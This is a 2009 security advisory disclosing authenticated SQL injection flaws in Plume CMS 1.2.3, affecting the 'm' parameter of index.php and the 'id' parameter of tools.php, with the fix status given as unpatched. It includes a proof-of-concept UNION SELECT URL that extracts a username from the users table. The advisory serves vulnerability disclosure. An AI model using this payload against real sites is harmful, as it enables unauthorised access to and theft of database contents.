Plume CMS 1.2.3 Multiple SQL Injection Vulnerabilities

                                                Plume CMS Multiple SQL Injection Vulnerabilities - Security Advisory -
SOS-09-006


Release Date. 12-Aug-2009
Last Update. -
Vendor Notification Date. 16-Jun-2009
Product. Plume CMS
Platform. Independent
Affected versions. 1.2.3 (verified), possibly others
Severity Rating. High
Impact. Manipulation of data
Attack Vector. Remote with authentication
Solution Status. Unpatched
CVE reference. Not yet allocated



Details.

Plume CMS is a content management system written in PHP. The application
suffers from SQL injection vulnerabilities in index.php and tools.php, as it
fails to validate data supplied in the "m" variable of index.php before
being used in a SQL query. Additionally, the variable "id" of tools.php is
also vulnerable to the same type of attack.

SQL injection attacks can give an attacker access to backend database
contents, the ability to remotely execute system commands, or in some
circumstances the means to take control of the operating system hosting the
database.



Proof of Concept.

The below POC will return the first username from the users table:
/plume/manager/index.php?m=1 UNION SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,user_username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
FROM plume_users LIMIT 1,1--



Solution.

None.



Discovered by.

SOS Labs.



About us.

Sense of Security is a leading provider of information security and risk
management solutions. Our team has expert skills in assessment and
assurance, strategy and architecture, and deployment through to ongoing
management. We are Australia's premier penetration testing company and
trusted IT security advisor to many of the countries largest organisations.

Sense of Security Pty Ltd

Level 3, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: [email protected]

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-09-006.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php